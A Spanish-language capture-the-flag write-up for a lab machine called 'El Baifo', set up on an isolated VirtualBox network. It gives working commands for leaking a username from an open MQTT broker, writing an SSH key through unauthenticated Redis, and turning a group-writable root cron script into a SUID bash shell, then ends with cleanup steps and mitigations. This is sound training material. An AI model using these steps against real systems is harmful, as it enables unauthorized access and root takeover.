‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/el-baifo.md

El Baifo

croncaps

El Baifo

Máquina: The Hackers Labs — El Baifo Sistema operativo objetivo: Debian 12 “Bookworm” Dificultad: Fácil/Media Vector de entrada: Redis sin autenticación → inyección de clave SSH Escalada de privilegios: Script de cron ejecutado como root, escribible por grupo

Resumen de flags

Flag Valor Obtenida en
Usuario (user.txt) ████████████ Fase 5
Root (root.txt) ████████████ Fase 7

Nota sobre las IPs: en este writeup la máquina objetivo aparece como 192.168.56.101 y el atacante (Kali) como 192.168.56.1, asignadas por el DHCP interno de VirtualBox. Si repites el proceso, las tuyas pueden variar — confírmalas con ip a (host) y con el escaneo de red del paso 1.2.


Herramientas necesarias

Todas vienen por defecto en Kali salvo mosquitto-clients:

sudo apt-get install -y mosquitto-clients redis-tools

También hace falta VirtualBox (con el módulo vboxdrv cargado) para correr la máquina, nmap para el reconocimiento, y el cliente ssh estándar.


Fase 0 — Preparar el entorno virtual

0.1 Descomprimir la máquina

The Hacker Labs distribuye las máquinas como .ova dentro de un .zip:

unzip "The Hackers Labs - El Baifo.zip"

Esto deja un único archivo The Hackers Labs - El Baifo.ova — una máquina virtual completa (formato Open Virtualization Appliance), no una ISO que se “monta”.

0.2 Crear una red aislada Host-Only

Para poder atacar la VM sin exponerla a tu LAN ni a internet:

VBoxManage hostonlyif create

Esto crea vboxnet0 en 192.168.56.1/24 (tu Kali) con un servidor DHCP interno que asigna direcciones en el rango 192.168.56.100–192.168.56.254 a las VMs que se conecten.

0.3 Importar el OVA

VBoxManage import "The Hackers Labs - El Baifo.ova" \
  --vsys 0 --vmname "TheHackersLabs-ElBaifo"

0.4 Conectar la VM a la red host-only

Por defecto el OVA trae la interfaz en modo Bridged. La cambiamos:

VBoxManage modifyvm "TheHackersLabs-ElBaifo" \
  --nic1 hostonly --hostonlyadapter1 vboxnet0

0.5 Arrancar la máquina

VBoxManage startvm "TheHackersLabs-ElBaifo" --type headless

--type headless la arranca sin ventana gráfica (corre en segundo plano). Si prefieres verla, usa --type gui.

Para apagarla o volver a arrancarla más adelante:

VBoxManage controlvm "TheHackersLabs-ElBaifo" poweroff
VBoxManage startvm "TheHackersLabs-ElBaifo" --type headless

Fase 1 — Reconocimiento

1.1 Localizar la IP asignada por DHCP

nmap -sn 192.168.56.100-200

Puede aparecer más de un host: el propio servidor DHCP de VirtualBox (normalmente en la .100) y la VM objetivo. Se distinguen por la MAC (Oracle VirtualBox virtual NIC en ambos) — confirma cuál es la VM comprobando cuál responde a un escaneo de puertos.

1.2 Escaneo inicial (top-1000 puertos)

nmap -sV -sC -Pn 192.168.56.101

Resultado:

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u9
80/tcp open  http    Apache httpd 2.4.66 ((Debian))
|_http-title: El Baifo — Quesería artesanal de Gran Canaria

Solo dos puertos visibles — pero el enunciado del reto menciona MQTT y Redis, que no están en este resultado. Hay que ir más allá del top-1000.

1.3 Escaneo completo (los 65535 puertos)

nmap -p- --min-rate 3000 -Pn 192.168.56.101

Resultado:

22/tcp   open  ssh
80/tcp   open  http
1883/tcp open  mqtt
6379/tcp open  redis

Ahí aparecen los dos servicios clave, ocultos fuera del rango por defecto.

1.4 Detalle de los servicios no-HTTP

nmap -sV -sC -Pn -p 1883,6379 192.168.56.101

Esto identifica mosquitto version 2.0.11 en el 1883 y Redis key-value store 7.0.15 en el 6379. El propio script mqtt-subscribe de Nmap ya deja ver una foto parcial de los topics activos — pero para capturar tráfico completo hace falta suscribirse en vivo (Fase 2).


Fase 2 — Reconocimiento de servicios no-HTTP

2.1 MQTT: escuchar el tráfico en tiempo real

MQTT es un protocolo publicador/suscriptor. Un broker (Mosquitto, en este caso) sin autenticación ni ACLs permite que cualquiera se suscriba a todos los topics con el comodín #:

mosquitto_sub -h 192.168.56.101 -t '#' -v

-v (verbose) imprime topic payload en cada línea. Déjalo correr unos 30–40 segundos (o usa timeout 40 mosquitto_sub ...) para capturar varios ciclos de publicación.

Hallazgo clave, entre topics de telemetría de collares de ganado (baifo/rebano/*/temperatura, .../ubicacion, .../actividad), aparece un topic operativo:

baifo/sistemas/turno   Encargado de turno: Antonio (pastor01) — revisión de collares OK

Esto filtra el nombre de un usuario real del sistema: pastor01. Es la pieza que conecta MQTT con el siguiente paso.

2.2 Redis: comprobar acceso sin autenticación

redis-cli -h 192.168.56.101 ping

Si responde PONG sin pedir contraseña, el servidor no tiene autenticación (requirepass vacío) — acceso administrativo completo para cualquiera que llegue al puerto.

Explorar qué hay dentro:

redis-cli -h 192.168.56.101 KEYS '*'
redis-cli -h 192.168.56.101 GET clave
redis-cli -h 192.168.56.101 CONFIG GET dir
redis-cli -h 192.168.56.101 CONFIG GET dbfilename

CONFIG GET dir reveló el directorio de trabajo por defecto de Redis (/var/lib/redis) — confirma que CONFIG SET dir funciona y que tenemos permiso de escritura en el filesystem a través de Redis.


Fase 3 — Explotación: inyección de clave SSH vía Redis

Redis permite reconfigurar en caliente dónde y con qué nombre vuelca su base de datos a disco (CONFIG SET dir / CONFIG SET dbfilename + SAVE). Si apuntamos esos parámetros al .ssh de un usuario y el archivo de destino es authorized_keys, podemos hacer que Redis “escriba” nuestra clave pública ahí.

3.1 Generar un par de claves dedicado al ataque

ssh-keygen -t ed25519 -f ./id_ed25519 -N "" -C "hackerlab@baifo"

3.2 Confirmar que el directorio .ssh del usuario existe

CONFIG SET dir falla si el directorio no existe (Redis hace chdir internamente):

redis-cli -h 192.168.56.101 CONFIG SET dir /home/pastor01/.ssh

Respuesta OK → el directorio existe y Redis puede escribir ahí.

3.3 Apuntar el nombre de archivo de destino

redis-cli -h 192.168.56.101 CONFIG SET dbfilename authorized_keys

3.4 Cargar la clave pública como valor de una key

PUBKEY=$(cat ./id_ed25519.pub)

redis-cli -h 192.168.56.101 FLUSHALL
redis-cli -h 192.168.56.101 SET clave_ssh $'\n\n'"${PUBKEY}"$'\n\n'

3.5 Forzar el volcado a disco

redis-cli -h 192.168.56.101 SAVE

SAVE escribe inmediatamente el contenido en memoria al archivo configurado — en este caso, /home/pastor01/.ssh/authorized_keys.


Fase 4 — Acceso inicial por SSH

ssh -i ./id_ed25519 -o StrictHostKeyChecking=accept-new [email protected]

Si todo salió bien, entras sin contraseña como pastor01:

id
# uid=1001(pastor01) gid=1001(pastor01) grupos=1001(pastor01)

Fase 5 — Capturar la flag de usuario

cat ~/user.txt

Resultado:

████████████

Fase 6 — Enumeración para escalada de privilegios

6.1 Comprobaciones estándar

id
sudo -l
cat /etc/crontab
ls -la /etc/cron.d/

sudo -l pide contraseña (sin acceso), así que el vector no es sudo. Pero /etc/cron.d/ tiene algo interesante:

--/etc/cron.d/baifo-backup--
*/2 * * * * root /opt/baifo/scripts/backup-collares.sh

Un script que root ejecuta cada 2 minutos. El objetivo ahora es ver si podemos modificarlo.

6.2 Revisar permisos del script

ls -la /opt/baifo/scripts/backup-collares.sh

Resultado:

-rwxrwx--- 1 root pastor01 138 jul 28 11:01 backup-collares.sh

El grupo propietario del archivo es pastor01, con permisos rwx para ese grupo. Y nuestro usuario pertenece exactamente a ese grupo (gid=1001(pastor01)). Conclusión: podemos escribir un archivo que root ejecuta automáticamente cada 2 minutos.


Fase 7 — Escalada de privilegios: abuso del cron

7.1 Respaldar el script original

Por higiene (para poder restaurarlo después):

cp /opt/baifo/scripts/backup-collares.sh /tmp/backup-collares.sh.orig

7.2 Sobrescribir el script con nuestro payload

cat > /opt/baifo/scripts/backup-collares.sh << "EOF"
#!/bin/bash
# Backup diario de los registros de telemetria de collares
rsync -a /opt/baifo/logs/ /var/backups/baifo-collares/ 2>/dev/null
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF

Mantenemos la funcionalidad original (rsync) y añadimos dos líneas: copiar /bin/bash a /tmp/rootbash y darle el bit SUID (chmod u+s). Como root ejecuta el script, esa copia de bash quedará con el bit SUID puesto por root — cualquiera que la ejecute obtiene un shell con euid=0.

No hace falta chmod sobre el propio script: ya teníamos permiso de escritura por el grupo, y sobrescribir el contenido de un archivo no requiere permiso sobre el directorio que lo contiene.

7.3 Esperar al disparo del cron (máx. 2 minutos)

until test -u /tmp/rootbash; do sleep 5; done
ls -la /tmp/rootbash

Resultado esperado:

-rwsr-xr-x 1 root root 1265648 ago 20 05:22 /tmp/rootbash

La s en rwsr-xr-x confirma el bit SUID activo, propiedad de root.

7.4 Escalar y capturar la flag de root

/tmp/rootbash -p -c "id; cat /root/root.txt"

-p le dice a bash que no abandone los privilegios elevados al detectar que euid != uid (comportamiento de seguridad por defecto que, sin -p, anularía el SUID).

Resultado:

uid=1001(pastor01) gid=1001(pastor01) euid=0(root) grupos=1001(pastor01)
████████████

🚩 Root conseguido.


Fase 8 — Limpieza (buena práctica)

Dejar la máquina como estaba, por si quieres repetir el reto o dejarla lista para que otra persona la use:

cp /tmp/backup-collares.sh.orig /opt/baifo/scripts/backup-collares.sh
/tmp/rootbash -p -c "rm -f /tmp/rootbash"
rm -f /tmp/backup-collares.sh.orig

Resumen de la cadena de ataque

Escaneo completo de puertos (nmap -p-)
        │
        ▼
MQTT sin autenticación (mosquitto_sub -t '#')
   → filtra el usuario del sistema "pastor01"
        │
        ▼
Redis sin autenticación (redis-cli PING → PONG)
   → CONFIG SET dir/dbfilename + SET + SAVE
   → escribe authorized_keys de pastor01
        │
        ▼
Acceso SSH como pastor01 (sin contraseña)
   → flag de usuario
        │
        ▼
Cron: script ejecutado por root, escribible por el grupo de pastor01
   → payload que crea /tmp/rootbash con SUID
        │
        ▼
/tmp/rootbash -p → shell como root
   → flag de root

Causas raíz y mitigación

Debilidad Mitigación recomendada
Broker MQTT sin autenticación ni ACLs Configurar password_file y acl_file en Mosquitto; nunca publicar identidades de usuarios reales en topics
Redis expuesto sin requirepass y sin bind 127.0.0.1 Activar autenticación, forzar bind a localhost, activar protected-mode yes
Script de cron root con grupo de escritura de un usuario sin privilegios Los scripts ejecutados por root deben pertenecer a root:root con permisos 750 o más restrictivos — nunca dar w de grupo a un usuario no-root

«El pájaro lucha para salir del huevo. El huevo es el mundo. Quien quiera nacer, tiene que destruir un mundo.»
— Hermann Hesse, Demian